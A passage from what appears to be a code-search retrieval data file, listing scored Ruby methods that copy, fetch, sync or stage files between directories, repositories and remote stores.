FileUtils.cp_r(\"#{source}/.\", destination)\n end", "title": "" }, { "docid": "d64c1fb245fbd1c8d8164b0415d6ae6f", "score": "0.6030247", "text": "def copy_src_files\n files.each do |file_path|\n file_name = File.basename(file_path)\n src_file = src_dir(file_name)\n if File.exist? blob_dir(file_name)\n say \"Blob '#{file_name}' exists as a blob, skipping...\"\n else\n copy_file File.expand_path(file_path), src_file\n end\n end\n end", "title": "" }, { "docid": "f0733ad17f92659c69d06c02fc2fc231", "score": "0.6022538", "text": "def fetch\n clean_load_dir\n pull_from_remote_buckets(@remote_buckets)\n pull_from_local_dirs(@local_dirs)\n load_dir_json_files\n end", "title": "" }, { "docid": "826e83b8bcd30af7fb7fb72f56b3fc89", "score": "0.60036105", "text": "def prepare_files_to_copy(files)\n destination_project = UserFile.publication_project!(current_user, @space.scope)\n\n UserFile.transaction do\n files.each do |file|\n next if !file.closed? ||\n file.project == destination_project ||\n UserFile.exists?(dxid: file.dxid, project: destination_project)\n\n CopyService::FileCopier.copy_record(\n file,\n @space.scope,\n destination_project,\n state: UserFile::STATE_COPYING,\n scoped_parent_folder_id: params[:folder_id],\n )\n end\n end\n end", "title": "" }, { "docid": "8a5c82e0edabf058c9e99cb6dfe244f5", "score": "0.60006386", "text": "def copy_files\n files = FineAssets::SOURCES[@name]\n files.each do |old_file, new_file|\n old_path = File.join(FineAssets.root, 'submodules', @name, old_file)\n new_path = File.join(FineAssets.root, 'vendor', 'assets', new_file)\n FileUtils.cp_r old_path, new_path, remove_destination: true\n end\n end", "title": "" }, { "docid": "96d13a036a32800125186509c437aa17", "score": "0.5971341", "text": "def action_create\n super\n\n missing_files_to_transfer = files_to_transfer.select do |relative|\n dst_path = ::File.join(new_resource.path, relative)\n !::File.exist?(dst_path)\n end\n\n unless missing_files_to_transfer.empty?\n converge_by(\"transfer files from #{@new_resource.source}\") do\n missing_files_to_transfer.each do |relative_path|\n src_path = ::File.join(new_resource.source, relative_path)\n dst_path = ::File.join(new_resource.path, relative_path)\n\n FileUtils.cp_r(src_path, dst_path, preserve: true)\n end\n end\n end\n end", "title": "" }, { "docid": "6eafb84e4ce141dff81b7a970a43a4c8", "score": "0.59512", "text": "def copy()\n\t\tDir.chdir @zip_path\n\t\tFileUtils.cp_r @zip_path,@project_path\n\tend", "title": "" }, { "docid": "5f8476cdfb3cd767cc6fd157c666341b", "score": "0.59346354", "text": "def retrive_files_from_git_index!\n self.files = Git.new(self.base_path).ls_files\n end", "title": "" }, { "docid": "5a79b45ebfe6c23b6e49d362c4831453", "score": "0.59177226", "text": "def run\n collection = @collection\n\n unless @collection.paths?\n Ruhoh::Friend.say { yellow \"#{collection.resource_name.capitalize}: directory not found - skipping.\" }\n return\n end\n Ruhoh::Friend.say { cyan \"#{collection.resource_name.capitalize}: (copying valid files)\" }\n\n compiled_path = Ruhoh::Utils.url_to_path(@ruhoh.to_url(@collection.url_endpoint), @ruhoh.paths.compiled)\n FileUtils.mkdir_p compiled_path\n \n manifest = {}\n @collection.files.values.each do |pointer|\n digest = Digest::MD5.file(pointer['realpath']).hexdigest\n digest_file = pointer['id'].sub(/\\.(\\w+)$/) { |ext| \"-#{digest}#{ext}\" }\n manifest[pointer['id']] = digest_file\n\n compiled_file = File.join(compiled_path, digest_file)\n FileUtils.mkdir_p File.dirname(compiled_file)\n FileUtils.cp_r pointer['realpath'], compiled_file\n Ruhoh::Friend.say { green \" > #{pointer['id']}\" }\n end\n\n # Update the paths to the digest format:\n @collection.load_collection_view._cache.merge!(manifest)\n end", "title": "" }, { "docid": "9d9e95ba11cb9d3b44b9987a44be385e", "score": "0.59152216", "text": "def copy_sources\n directory('.', self.destination, {\n recursive: true,\n exclude_pattern: /\\.git\\/|bourbon\\.rb/, # Don't copy .git dir or this file\n name: self.name,\n version: Locomotive::Wagon::VERSION\n })\n end", "title": "" }, { "docid": "6ec2f8c0210cbd26fbbb98c2ab8296e2", "score": "0.5904342", "text": "def copy_preserved_files file_names\n # Output directory needs to be empty because we crawl through the files in generate_summary_file\n raise 'Cannot copy files because output directory is not empty' unless Dir.entries(OUTPUT_DIR) == ['.', '..']\n $logger.info \"Copying files from '#{GIT_DIR}' to '#{OUTPUT_DIR}'\"\n file_names.each do |file|\n dirname = \"#{OUTPUT_DIR}/#{File.dirname file}\"\n FileUtils.mkdir_p dirname\n\n git_file = \"#{GIT_DIR}/#{file}\"\n new_file = \"#{OUTPUT_DIR}/#{file}\"\n $logger.debug \"Copying '#{git_file}' to '#{new_file}'\"\n # cp doesn't like when you call it on directories so ignore directories\n FileUtils.cp git_file, new_file unless File.directory? git_file\n end\nend", "title": "" }, { "docid": "888df9905559615c5a1767d37590235f", "score": "0.59033513", "text": "def copy_files\n\n force = options.has_key?('force')\n\n template_folder = File.expand_path(File.expand_path('..', __FILE__))\n\n Find.find(template_folder) { |path|\n next if Dir.exist?(path)\n dest = path.sub(template_folder+'/', '' )\n next unless dest.start_with?('app') || dest.start_with?('public')\n puts 'installing template ' + dest\n if File.exist?(dest) && !force\n dest += '.gentelella'\n puts \" -> #{dest} because file exists already\"\n FileUtils.cp path, dest\n else\n FileUtils.mkdir_p File.dirname(dest)\n FileUtils.cp path, dest\n end\n }\n\n end", "title": "" }, { "docid": "f877631a618c90132c7b67f905cf1fba", "score": "0.58918107", "text": "def copy_files\n\n force = options.has_key?('force')\n\n template_folder = File.expand_path(File.expand_path('..', __FILE__))\n\n Find.find(template_folder) { |path|\n next if Dir.exist?(path)\n dest = path.sub(template_folder+'/', '' )\n next unless dest.start_with?('app') || dest.start_with?('public')\n puts 'installing template ' + dest\n if File.exist?(dest) && !force\n dest += '.gentelella'\n puts \" -> #{dest} because file exists already\"\n FileUtils.cp path, dest\n else\n FileUtils.mkdir_p File.dirname(dest)\n FileUtils.cp path, dest\n end\n }\n end", "title": "" }, { "docid": "7972396592390e28ac5d2cb7edf989fd", "score": "0.58846587", "text": "def populate_files_from_whole_templates\n @whole_templates.each {|x| FileUtils.cp(FileUtils.join_paths(@template_path, x), FileUtils.join_paths(@install_path, @project_name, x)) } unless @whole_templates.nil?\n end", "title": "" }, { "docid": "1a4acb17f481626e51a7d544dd02e997", "score": "0.58791983", "text": "def changed_and_added_files\n check_repo\n changed_files + added_files\n end", "title": "" }, { "docid": "e04ad28cb676c8ae36c0390f81dfde2e", "score": "0.5876071", "text": "def compare_files\n need_copy = Array.new\n FileUtils.rm_rf(Dir[File.join(CUR_FOLDER, '/compare/*')])\n search_exists_files.each do |name|\n compare_result = Diffy::Diff.new(File.dirname(CUR_FOLDER + name), File.join(GEM_FOLDER, '../sources', name), :source => 'files', :format => :html)\n unless compare_result.to_s(:text).empty?\n need_copy.push(name)\n FileUtils.mkdir_p 'compare'\n File.open(File.join(CUR_FOLDER, '/compare/', \"#{File.basename(name, \".*\")}.html\"), \"w:UTF-8\") do |file|\n add_css_style(file)\n file.puts(compare_result.to_s(:html))\n end\n end\n end\n\n return need_copy\nend", "title": "" }, { "docid": "9deca5a61ff3fb25c2a67d86005e606a", "score": "0.58717895", "text": "def ui_file_mig\n files = files_in_folder(src_ui_dir)\n files.each { |file_name|\n _src = \"#{src_ui_dir}/#{file_name}\"\n FileUtils.cp(_src, dst_ui_dir) if !File.exist?(dst_ui_dir + '/' + file_name)\n }\n end", "title": "" }, { "docid": "16c8995ff6c224bea8480f4e4e9fe861", "score": "0.5871247", "text": "def fetch(base_url, file_name, dst_dir)\n FileUtils.makedirs(dst_dir)\n src = \"#{base_url}/#{file_name}\"\n dst = File.join(dst_dir, file_name)\n if File.exists?(dst)\n logger.notify \"Already fetched #{dst}\"\n else\n logger.notify \"Fetching: #{src}\"\n logger.notify \" and saving to #{dst}\"\n open(src) do |remote|\n File.open(dst, \"w\") do |file|\n FileUtils.copy_stream(remote, file)\n end\n end\n end\n return dst\nend", "title": "" }, { "docid": "e2ada42d6b6f7e31d6f7a76b99e22626", "score": "0.5866574", "text": "def get_changed_files!\n client = self.project.github_client\n client.pull_request_files(self.project.full_name, self.pull_id)\n end", "title": "" }, { "docid": "f1b01301183cf32b29c5bcb52c5c9963", "score": "0.5849354", "text": "def fetch\n connect! unless @client\n\n files = @client.dir.glob(\"to#{@user}/new\", \"EngineAPTransactions_*.csv\").map do |entry|\n filepath = \"to#{@user}/new/#{entry.name}\"\n\n ActiveMerchant::Billing::ReconciliationFile.new(entry.name, @client.download!(filepath))\n end\n\n disconnect!\n\n files\n end", "title": "" }, { "docid": "bf5390d3118c29fe553d3c8cb6cee4f0", "score": "0.58348155", "text": "def find_new_files(path)\n reload_path(path, true)\n end", "title": "" }, { "docid": "f5c9ac1a181b5139c7bdeb5ad6a3b4cd", "score": "0.5823801", "text": "def refresh\n super do |modified|\n return unless modified\n `createrepo -d #{@dir}` #TODO: --update switch?\n end\n end", "title": "" }, { "docid": "01124036c6048d4e116f59eba049de71", "score": "0.5800826", "text": "def unit_file_mig\n files = files_in_folder(src_unit_dir)\n files.each { |file_name|\n _src = \"#{src_unit_dir}/#{file_name}\"\n FileUtils.cp(_src, dst_unit_dir) if !File.exist?(dst_unit_dir + '/' + file_name)\n }\n end", "title": "" }, { "docid": "9bf9c4a4bd624a64fa9b49e8b8b793f0", "score": "0.5799829", "text": "def grab_new_uploads\n new_uploads = []\n Dir[\"#{@uploads}/*\"].each do |zip|\n dest = File.join(@scratch, File.basename(zip))\n FileUtils.mv zip, File.join(@scratch, File.basename(zip))\n new_uploads << dest\n end\n new_uploads\n end", "title": "" }, { "docid": "cdf6f99fb62f8e37a81df2473a5c32cf", "score": "0.5796081", "text": "def copy_files(local_src_path, remote_dest_path)\r\n files_to_copy(local_src_path, remote_dest_path).each do |local_src_file, remote_dest_file|\r\n rm_f remote_dest_file\r\n self.sendcmd 'site az2z' if local_src_file.end_with? '.zip' and implicitly_index_zip_files?\r\n self.putbinaryfile( local_src_file, remote_dest_file)\r\n #printf(\"%s -> %s\\n\", local_src_file, remote_dest_file)\r\n end\r\n end", "title": "" }, { "docid": "3ce6daa9decc7a6fd6d5732453c2270c", "score": "0.57865185", "text": "def copy_files(output_folder)\n @config.files.copy.each do |target, source|\n target_file = File.join(output_folder, target)\n target_dir = File.dirname(target_file)\n @sourced << relative_path(target_file, output_folder)\n Google::LOGGER.info \"Copying #{source} => #{target}\"\n FileUtils.mkpath target_dir unless Dir.exist?(target_dir)\n FileUtils.cp source, target_file\n end\n end", "title": "" }, { "docid": "99e087cd85b77de40281777e6f8ad6ac", "score": "0.57771534", "text": "def copy_src_files\n files.each do |file|\n file_path = File.expand_path(file)\n unless File.exist?(file_path)\n say \"Skipping unknown file #{file_path}\", :red\n next\n end\n \n size = File.size(file_path)\n file_name = File.basename(file_path)\n src_file = src_dir(file_name)\n blob_file = blob_dir(file_name)\n if File.exist?(blob_file)\n say \"Blob '#{file_name}' exists as a blob, skipping...\"\n else\n # if < 20k, put in src/, else blobs/\n target = size >= BLOB_FILE_MIN_SIZE ? blob_file : src_file\n copy_file File.expand_path(file_path), target\n end\n end\n end", "title": "" }, { "docid": "efe2dd9279ab1335ee7824ea42b365f9", "score": "0.57658726", "text": "def all_files\n Amp::Git::WorkingDirectoryChangeset.new(@repo).all_files\n end", "title": "" }, { "docid": "a0336bd5384d802f9010004ea4dd67a8", "score": "0.5763121", "text": "def add_files_to_project(path, group, project)\n files = Dir[path + '/*']\n\n puts ''\n puts '------------------------------'\n puts '💻 Add files to the project 💻'\n puts '------------------------------'\n puts ''\n\n # add files to project\n files.each do |file|\n add_file(file, group, project)\n puts '✅ Added to the project - ' + File.basename(file)\n end\nend", "title": "" }, { "docid": "e6e1d04881776bbfd9006875b65850a5", "score": "0.57622916", "text": "def fetch!\n if @fetched.nil? or @fetched < Time.now-300\n check_directory GIT_SOURCES_DIR\n \n Dir.chdir(GIT_SOURCES_DIR) do\n pid = if check_directory(path, false)\n puts \"Already downloaded...Fetching latest updates for #{@source_url}\"\n Process.spawn(\"git fetch #{GIT_ORIGIN}\", :chdir => expanded_path)\n else\n # TODO: We may be able to do --no-checkout\n puts \"Cloning latest data for #{@source_url}\"\n Process.spawn(\"git clone --origin #{GIT_ORIGIN} '#{@source_url.gsub(\"'\", \"\\\\'\")}' '#{@source_key}'\")\n end\n status = Process.wait2(pid).last\n raise SourceDownloadError.new(\"Unable to download source at #{@source_url} (attempted to save at #{path})\") unless status.success?\n end\n \n @fetched = Time.now\n end\n end", "title": "" }, { "docid": "1b23db8d7f384c261e26b913edb4ad3c", "score": "0.5761409", "text": "def copy_files(files)\n Array(files).each do |file|\n output_file = if block_given?\n yield file\n else\n file\n end\n\n output_file = File.join(repo.working_dir, output_file)\n FileUtils.mkdir_p(File.dirname(output_file))\n FileUtils.cp(file, output_file)\n end\n end", "title": "" }, { "docid": "060939dc06fd5feeb6526bd61668f24e", "score": "0.5758416", "text": "def copy_files!\n destination = temp_transformed_path\n\n if has_base?\n FileUtils.cp_r(\"#{base_spec.temp_raw_path}/.\", destination)\n end\n\n begin\n FileUtils.cp_r(\"#{before_path}/.\", destination)\n rescue Errno::ENOENT => e\n raise e unless has_base?\n end\n end", "title": "" }, { "docid": "750376a05e2e5fac7bd9734de2f6af1c", "score": "0.5749613", "text": "def files_to_copy(local_src_path, remote_dest_path)\r\n files = []\r\n Find.find(local_src_path) do |f|\r\n if ignore_subdirs_if_zip_exists? and exists_corresponding_zip?(f)\r\n Find.prune\r\n else\r\n files << f if File.file? f\r\n end\r\n end\r\n files.map do |f|\r\n rel_src_file_path = rel_path(local_src_path, f)\r\n [ normalize_fname(File.join(local_src_path, f)), normalize_fname(File.join(remote_dest_path, rel_src_file_path)) ]\r\n end\r\n end", "title": "" }, { "docid": "ee30ad0efc2f112a8e15e6b64a6c1e22", "score": "0.5746901", "text": "def copy(target_dir); end", "title": "" }, { "docid": "95298acfe200eff6db3a74bca182cadf", "score": "0.57387054", "text": "def files_of_interest\n git.modified_files + git.added_files\n end", "title": "" }, { "docid": "0bcb9711317e82de6e4f4cfa649d5ef3", "score": "0.57338506", "text": "def prepare\n in_working_dir do \n #create temp folder (remove it first if already present)\n FileUtils.rm_rf(\"action_#{self.id}\")\n Dir.mkdir(\"action_#{self.id}\")\n\n #copy the app dir from the projects dir into the actions dir.\n src = Dir.open(\"project_#{self.project_id}/#{self.project.repo_path}/\")\n dest= Dir.open(\"action_#{self.id}\")\n FileUtils.cp_r(src, dest)\n end\n end", "title": "" }, { "docid": "984feb5602391f1d8800eaf1ecab9a0d", "score": "0.57299364", "text": "def install_integration_files( info )\n format = Gem::Format.from_file_by_path( local_source )\n info.each_pair do |from, to|\n Dir.chdir( File.join( pkg_dir, from ) ) do\n format.spec.files.each do |f|\n if f.index( from ) == 0 then\n src_file = f.sub( from, '' )\n next unless File.file?( src_file )\n next if File.directory?( src_file )\n dest_file = File.join( to, src_file ) \n dest_dir = File.dirname( dest_file )\n logger.debug \"copy #{src_file} to #{dest_file}\"\n FileUtils.mkdir_p dest_dir unless File.directory?( dest_dir )\n FileUtils.cp src_file, dest_file\n end\n end\n end\n end\n end", "title": "" }, { "docid": "0ecaa01a830502b90c43486b434ad3fe", "score": "0.5729639", "text": "def gather_and_process\n files = Dir.glob(\"book/*\")\n FileUtils.cp_r files, 'output'\n end", "title": "" }, { "docid": "15f2d772ac91c7bbbefb490e3d3b0f1b", "score": "0.5721044", "text": "def copy_files\n web_files.each { |fn| copy(fn) }\n css_files.each { |fn| copy(fn, @options[:cssdir]) }\n js_files.each { |fn| copy(fn, @options[:jsdir]) }\n image_files.each { |fn| copy(fn, @options[:idir]) }\n end", "title": "" }, { "docid": "012c3412d12e7a1d466ddd2f1123ba11", "score": "0.571747", "text": "def download_files\n copy_files = @resource.data_files.where(file_state: %w[created copied])\n\n copy_files.each do |f|\n status = @smdf.download_file(db_file: f)\n raise Stash::MerrittDownload::DownloadError, \"Download: #{status[:error]}\\nfile.id #{f.id}\" unless status[:success]\n\n @info_hash[f.upload_file_name] = status\n end\n end", "title": "" }, { "docid": "c9dbd9a03d22f88f9fa95591b7022d69", "score": "0.571732", "text": "def transfer_unused_files\n report_data = collect_report_data\n unpublished_files = report_data['unpublished_files']\n create_reports_folder\n\n foldername = @vortex_path + 'nettpublisering/ikke_migrert_innhold/'\n unpublished_files.each do |filename|\n local_filename = @html_path.to_s + filename\n local_filenamme = local_filename.gsub(/\\/\\/*/,'/')\n remote_filename = foldername + filename\n remote_path = Pathname.new(remote_filename).parent.to_s\n content = open(local_filename).read\n basename = Pathname.new(remote_filename).basename.to_s\n basename = URI.encode(basename)\n\n puts \"Transfering unused file to server: \" + remote_path.downcase + '/' + basename\n @vortex.create_path(remote_path)\n @vortex.put_string(remote_path.downcase + '/' + basename, content)\n end\n\n end", "title": "" }, { "docid": "ea6b363cd6b8a6f2a6ce5e778b0a9d8d", "score": "0.5710888", "text": "def extract\n entries.map do |entry|\n local_file = File.join(@local_path, entry.name)\n logger.info \"Downloading #{entry.pathname} from S3 to #{local_file}\"\n File.open(local_file, 'wb') { |file| entry.raw.get(response_target: file) }\n local_file\n end\n end", "title": "" }, { "docid": "fc318715e19aec67c8bcb4ae7b854eb3", "score": "0.57037145", "text": "def copy_gems \n end", "title": "" }, { "docid": "d59968d429ab98f2a8d27ca54157a5d5", "score": "0.57034373", "text": "def files_to_transfer\n list = []\n return list unless File.exist?(local_path)\n\n Dir.chdir(local_path) do\n list = Dir.glob(\"**/*\").map do |f|\n f unless File.directory? f\n end.compact!\n end\n\n list\n end", "title": "" }, { "docid": "f6ee087fb21e970e4535cb218d6d29cd", "score": "0.5698065", "text": "def get_files!\n @sources.each_pair do |key, source|\n source.get_files!\n end\n end", "title": "" }, { "docid": "af00ea32b1cf2dcace673e09089705e5", "score": "0.568974", "text": "def private_copy_remote_to_local_core(src_dir, dst_dir, orig_name, rename_to)\n # Bundle remote files into archive \n remote_tarfile = @node_server.create_unique_temp_file(\"systemtest_copy_\")\n cmd = private_get_system_command_to_bundle_files_into_archive(src_dir, remote_tarfile, orig_name, rename_to) \n @node_server.execute(cmd)\n\n # Copy remote archive to local archive\n local_tarfile = Tempfile.new(\"systemtest_copy_\")\n content = readfile(remote_tarfile)\n File.open(local_tarfile.path, \"w\") do |file|\n file.write(content)\n end\n\n # Extract files locally\n FileUtils.mkdir_p(dst_dir)\n `cd #{dst_dir} && tar xzf #{local_tarfile.path}`\n\n # Remove temporary archives\n local_tarfile.close!();\n @node_server.execute(\"rm -f #{remote_tarfile}\")\n end", "title": "" }, { "docid": "6eb6770dda50f379e1fdba5d9413747d", "score": "0.56886667", "text": "def copy(from, to)\n Dir.chdir(repo.root) do\n system(\"cp #{from} #{to}\")\n end\n add(to)\n true\n end", "title": "" }, { "docid": "2a04fa2723080a3ef2ac6846f0e6e04e", "score": "0.56881875", "text": "def copy_sources\n company_name = ENV['USER'] || 'yourcompany'\n\n FILTERED_FILES.each do |file|\n input = File.read File.join(@template, file)\n input.gsub! /__APPLICATION_NAME__/, @app_name\n input.gsub! /__COMPANY_NAME__/, company_name\n\n outname = file.gsub /__APPLICATION_NAME__/, @app_name\n outname = File.join(@directory, outname)\n File.open(outname, 'w') { |out| out.write input }\n end\n end", "title": "" }, { "docid": "f38dc2f257186007b438739a5f96d497", "score": "0.568012", "text": "def pull\n self.metadata = @source.retrieve_metadata(self)\n @commander.create_dir\n @source.before_pull(self)\n @source.pull(self)\n @source.after_pull(self)\n @commander.write_metadata(metadata)\n end", "title": "" }, { "docid": "0f3f70ac3d41a260590c369a81d709e6", "score": "0.56801176", "text": "def process_files(entries)\r\n entries.each do |path|\r\n\r\n # Get base path\r\n new_path = path.sub(@collector.full_path, '')\r\n \r\n is_dir = File.directory?(path)\r\n\r\n # Apply arguments to the path\r\n apply_arguments!(new_path)\r\n\r\n full_new_path = File.join(@output, new_path)\r\n\r\n if is_dir\r\n puts \"Creating directory #{path} to #{full_new_path}\" if @verbose\r\n create_directory(full_new_path)\r\n else\r\n # Now we can copy the entry\r\n puts \"Copying #{path} to #{full_new_path}\" if @verbose\r\n\r\n create_directory(File.dirname(full_new_path))\r\n FileUtils.copy(path, full_new_path)\r\n\r\n file_content = File.read(full_new_path)\r\n apply_arguments!(file_content)\r\n File.open(full_new_path, 'w') do |f|\r\n f.puts file_content\r\n end\r\n end\r\n end\r\n end", "title": "" }, { "docid": "ed7fe3760dbf61d9431f5bf0202d1e23", "score": "0.567646", "text": "def copy_repository_to_server ; end", "title": "" }, { "docid": "07618c6bb3ef1a873aaa0fed41d8f981", "score": "0.5675248", "text": "def fetch_files\n @harvest.update_attribute(:fetched_at, Time.now)\n end", "title": "" }, { "docid": "ba84321db7d8771d1b20bfdf8172dc11", "score": "0.56731284", "text": "def add_all_files_in_git(p_batch)\n p_batch.add_command(GitHelper::add(\"*\", @m_git_local_path))\n end", "title": "" }, { "docid": "9b4226d2df87dee047ece7aa9f267455", "score": "0.56710464", "text": "def changed_files\n @repository.chdir do\n @changed ||= @repository.status.changed.to_a.map(&:first)\n end\n end", "title": "" }, { "docid": "16ca54c25f9831f5de397ab1f6a79925", "score": "0.5662249", "text": "def fetch(key, options = {})\n case key\n when 'directory'\n if options['path']\n begin\n puts \"Fetching project data from directory: #{options['path']}\"\n FileUtils.cp_r(Dir[options['path'] + '/*'], Dir['.'].first)\n 0\n rescue\n 1\n end\n else\n 1\n end\n end\n end", "title": "" }, { "docid": "4a97f54f7e69474c3eb458ae587a35d9", "score": "0.5661672", "text": "def copy_html_files\n #Dir.entries(app_config.html_dir).each { |entry|\n Dir.entries(html_dir).each { |entry|\n if entry != 'index.rb' and entry != 'index.html.erb' and entry != '.' and entry != '..'\n FileUtils.mkdir_p release_target + '/' + File.dirname(entry)\n FileUtils.cp_r \"#{app_config.html_dir}/#{entry}\", \"#{release_target}/#{entry}\"\n end\n }\n end", "title": "" }, { "docid": "3c2c33bc0d89a5eb3df6b64bdb7f4203", "score": "0.5643", "text": "def copy_other_files\n Dir.glob(\"./source/**/*\").each do |path|\n extensions_to_ignore = [\"slim\", \"coffee\", \"css\", \"js\", \"sass\"]\n next if extensions_to_ignore.any? { |ext| path.split(\".\")[-1].eql?(ext) }\n dest_path = path.gsub(\"source/\", \"dist/\")\n dest_folder = dest_path.split(\"/\")[0..-2].join(\"/\")\n `mkdir -p #{dest_folder}`\n `cp \"#{path}\" \"#{dest_path}\"`\n end\n end", "title": "" }, { "docid": "55154e45ab8ab39e6ce3ddbf09438878", "score": "0.5639201", "text": "def copyFilesWithoutOverwriting(filenameFrom, filenameTo)\n unless File.file?(filenameTo)\n fullPath = __dir__ + '/source/maven/testing/' + filenameFrom\n FileUtils.cp fullPath, filenameTo\n replaceStringsInFile filenameTo\n end\n end", "title": "" }, { "docid": "72a21641452b74d7d935b632a249c73d", "score": "0.56385773", "text": "def addNewFilesToRepo(dir = \".\")\n Dir.new(dir).each do |f|\n f_with_path = (dir != \".\" ? dir + \"/\" + f : f)\n next if f[0,1] == \".\" or @uninclude_from_repo_entries.include?(f_with_path)\n if FileTest.directory?(f_with_path)\n addNewFilesToRepo(f_with_path)\n elsif @repo.commits.size == 0 or @repo.commits.first.tree/(\"#{f_with_path}\") == nil\n # if the file is new and hasn't been added to git-repo yet\n @repo.add(f_with_path)\n end \n end\n end", "title": "" }, { "docid": "63c99bc132a54187bfb65e1f0e831f41", "score": "0.5634196", "text": "def copy_sources\n spec.sources.each do |source|\n destination = File.join(resources_root, source)\n FileUtils.mkdir_p(File.dirname(destination)) unless File.exist?(File.dirname(destination))\n FileUtils.cp_r source, destination\n end\n end", "title": "" }, { "docid": "c35a53c27375cb24fd06a1aa5c1ec897", "score": "0.5633357", "text": "def update_files\n # dputs_func\n ffiles = []\n fentries = entries\n Dir.glob(File.join(path, '*')).each { |f|\n next if File.directory? f\n f = File.basename(f)\n if f !~ /\\.file$/\n dputs(3) { \"Found file #{f}\" }\n if fentries.select { |e|\n dputs(3) { \"Checking with #{e._name} / #{e.file_name}\" }\n e.file_name == f\n }.size == 0\n f_sanitized = FMDirs.accents_replace(f)\n if f_sanitized != f\n File.rename(path(f), path(f_sanitized))\n end\n dputs(3) { \"Creating entry for #{f}/#{f_sanitized} with dir #{self.inspect}\" }\n desc = ''\n if f.size > 16\n desc = f\n desc.sub(/\\..*?$/, '')\n end\n ffiles.push FMEntries.create(name: f_sanitized, url_file: \"localhost://#{f_sanitized}\",\n directory: self, tags: [], description: desc)\n end\n end\n }\n ffiles\n end", "title": "" }, { "docid": "0643ce8dc1fc762d9a3813c47bf68c74", "score": "0.5625974", "text": "def update_files_based_on_digest(source_files, target_dir)\n source_files.each do |file|\n if !File.exist?(\"#{target_dir}/\"+File.basename(file))\n FileUtils.cp(file, target_dir)\n else\n tmp_digest = Digest::MD5.hexdigest(File.open(file, \"rb\") { |f| f.read })\n gff_digest = Digest::MD5.hexdigest(File.open(\"#{target_dir}/\"+File.basename(file), \"rb\") { |f| f.read })\n FileUtils.cp(file, target_dir) if tmp_digest != gff_digest\n end\n end\nend", "title": "" }, { "docid": "5299308f37042f69d9243436f8cbdb1b", "score": "0.56255794", "text": "def fetch_files(program)\n case program[:source]\n when :file\n files = []\n f = remote_file_download(program)\n files << f unless f.nil?\n files\n when :audioport\n audioport_download(program)\n when :rss\n rss_download(program)\n else\n []\n end\n end", "title": "" }, { "docid": "7d3117953f933d7dc8929d727d8e3705", "score": "0.56255394", "text": "def refresh_files\n gemf = download_gem\n tgem = Tempfile.new(@name)\n tgem.write gemf\n tgem.close\n\n @files = []\n pkg = ::Gem::Installer.new tgem.path, :unpack => true\n Dir.mktmpdir { |dir|\n pkg.unpack dir\n Pathname(dir).find do |path|\n pathstr = path.to_s.gsub(dir, '')\n @files << pathstr unless pathstr.blank?\n end\n }\n @files\n end", "title": "" }, { "docid": "a448a0cdc11568a12a663a1187e503d4", "score": "0.562129", "text": "def update_files_based_on_digest(source_files, target_dir)\n source_files.each do |file|\n if !File.exist?(target_dir.join(File.basename(file)))\n FileUtils.cp(file, target_dir)\n else\n tmp_digest = Digest::MD5.hexdigest(File.open(file, \"rb\") { |f| f.read })\n gff_digest = Digest::MD5.hexdigest(File.open(target_dir.join(File.basename(file)), \"rb\") { |f| f.read })\n FileUtils.cp(file, target_dir) if tmp_digest != gff_digest\n end\n end\nend", "title": "" }, { "docid": "1f8272031c9a61e05353d51aa8dd2016", "score": "0.5620048", "text": "def restage\n raise 'Cannot restage on a bare repository' if @repo.working_path.nil?\n each do |p|\n exists = File.exists?(File.join(@repo.working_path, p.name))\n add(p.name) if exists\n end\n end", "title": "" }, { "docid": "23463617134ff0d865d5c27cf665723e", "score": "0.56154716", "text": "def sync_files\n # Initialize a new transfer folder\n config[:local_transfer_path] = Dir.mktmpdir(\"#{instance.name}-busser-transfer\")\n\n transfer_list = []\n local_suite_files.each do |f|\n raw_content = IO.read(f)\n md5 = Digest::MD5.hexdigest(raw_content)\n remote_dir = config[:remote_transfer_path]\n temp_file = File.join(config[:local_transfer_path], md5)\n encoded_content = Base64.encode64(raw_content).gsub(\"\\n\", '')\n IO.binwrite(temp_file, encoded_content)\n\n transfer_list.push({local: temp_file , remote: remote_dir})\n end\n transfer_list\n end", "title": "" }, { "docid": "0af73a595a76e6907a9c218a94d13c76", "score": "0.5615203", "text": "def update_files_based_on_digest(source_files, target_dir)\n source_files.each do |file|\n if !File.exists?(target_dir+\"/\"+File.basename(file))\n FileUtils.cp(file, target_dir)\n else\n tmp_digest = Digest::MD5.hexdigest(File.open(file, \"rb\") { |f| f.read })\n gff_digest = Digest::MD5.hexdigest(File.open(target_dir+\"/\"+File.basename(file), \"rb\") { |f| f.read })\n FileUtils.cp(file, target_dir) if tmp_digest != gff_digest\n end\n end\nend", "title": "" }, { "docid": "e67fb719601ae1e073b9b6cda55efb32", "score": "0.5613485", "text": "def get local_dir, *files\n @happy = true\n host = target_host\n rsync files.map { |f| \"#{host}:#{f}\" }, local_dir\n @happy = false\n end", "title": "" }, { "docid": "d1275f33f3cb97cad405afca3b4f6d17", "score": "0.5609634", "text": "def get_the_individual_file_to_be_processed(project)\r\n #p \"individual file selection\"\r\n files = GetFiles.get_all_of_the_filenames(project.freereg_files_directory,project.file_range)\r\n files\r\n end", "title": "" }, { "docid": "5901a3a12c1eaca443d962570fde9306", "score": "0.5608761", "text": "def files\n # GET /source/<project>/<package>\n xml = @project.api :get, \"/source/#{@project.name}/#{@name}\"\n xml.xpath(\"/directory/entry/@name\").each do |name|\n yield\n end\n end", "title": "" }, { "docid": "2c9e5415db51e8be6b1f8daff97254f3", "score": "0.56053144", "text": "def files_to_final_location; end", "title": "" }, { "docid": "2c9e5415db51e8be6b1f8daff97254f3", "score": "0.56053144", "text": "def files_to_final_location; end", "title": "" }, { "docid": "cee1a5c6b4cee526104f968dca289b45", "score": "0.55964094", "text": "def get_list_files_for_update\n list_files = read_file_to_arr(FILES_FOR_UPDATE)\n all_files = Array.new\n\n list_files.each do |name|\n path = File.join(GEM_FOLDER, '..', name)\n if File.file?(path)\n all_files.push(path)\n elsif File.directory?(path)\n Dir[\"#{path}/*\"].each {|pth| all_files.push(pth)}\n end\n end\n\n return all_files\nend", "title": "" }, { "docid": "e2ef3076ca2b9cc706fffb4db2cc57eb", "score": "0.55936724", "text": "def copy_files a_array\n a_array.each do |file|\n src = File.join $GENIT_PATH, 'data', file\n dest = File.join @project_name, file\n FileUtils.cp src, dest\n end\n end", "title": "" }, { "docid": "59e902098b6556af34ee887f37e5e670", "score": "0.55895853", "text": "def gem_copy(specs)\n Bundler.mkdir_p PACKAGE_DIR\n sources = specs.map { |s| Bundler.app_cache.join \"#{s.full_name}.gem\" }\n FileUtils.cp sources, PACKAGE_DIR, verbose: true\nend", "title": "" }, { "docid": "21afa2cf190d2ae3d24c048d58d8b8ab", "score": "0.558891", 